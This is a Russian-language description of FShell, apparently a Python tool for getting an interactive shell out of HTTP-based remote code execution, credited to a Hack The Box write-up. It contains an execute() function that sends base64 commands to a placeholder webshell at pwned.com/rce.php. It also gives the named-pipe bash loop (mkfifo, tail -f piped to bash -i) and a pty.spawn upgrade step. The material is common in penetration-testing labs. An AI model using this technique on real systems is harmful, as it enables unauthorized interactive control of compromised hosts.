
Моя реализация Forward Shell на python3
FShell — это моя реализация Forward Shell. Она предназначена для получения интерактивного tty с помощью удалённого выполнения кода через протокол без стадий (например, HTTP).
Однако у этого есть и недостатки:
Частоту запросов можно изменить, отредактировав переменную BEACONING_DELAY.
Python3 и библиотеки:
На данный момент поддерживается только Linux, на удалённой системе требуются базовые команды/инструменты:
Измените переменную WRITABLE_FOLDER, если /tmp недоступен для записи или если у вас есть вариант лучше (предпочтительно /dev/shm)
Вы должны переопределить функцию execute для выполнения вашего удалённого кода:
def execute(cmd, verbose=False, timeout=None):
"""
:cmd Raw shell command to execute on the remote system
:timetout MANDATORY: Used to kill blocking execution loop (used in named pipe creation).
If you cannot, put named pipe creation in separated thread
:verbose Print full cmd executed on the remote system (Debug mode)
"""
# Put your RCE code here
r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
return r.text.strip() # You can apply formating if the output is not only the output of command

Концепция довольно проста.
Сначала нужно создать именованный канал (named pipe) на удалённой системе.
Он будет использоваться для отправки команд оболочке
mkfifo /tmp/input.
Затем создайте цикл bash, который постоянно читает именованный канал и передаёт его в интерактивный процесс bash, отправляющий stdin и stderr в файл вывода.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1
[Чтение именованного канала] -> [Выполнение содержимого именованного канала] -> [Отправка stdin/stderr в файл вывода] -> [Возврат к чтению именованного канала из-за опции '-f' у tail]
Следующая часть — запустить поток python, который регулярно выполняет cat /tmp/output для получения вывода оболочки.
Если поток находит данные, он очищает содержимое файла вывода с помощью echo '' > /tmp/output
Совет: чтобы избежать записи ошибок для несуществующего файла, скрипт выполняет команду 'id' перед запуском потока 'GetOutput' для создания файла вывода.
Один из последних шагов — получить пользовательский ввод в нашем python-скрипте и отправить его в именованный каналecho USERCMD > /tmp/input
И главный трюк, чтобы получить удалённый интерактивный tty, — это команда 'upgrade_shell'.
Эта команда выполняет python -c 'import pty;pty.spawn("/bin/bash")' (а также некоторые export и алиасы), чтобы породить настоящий tty для текущего процесса (используется в цикле именованного канала)
Спасибо @ippsec, я не знал, что такое возможно, пока не посмотрел это видео Stratosphere HTB Write Up !
Надеюсь, вам понравится!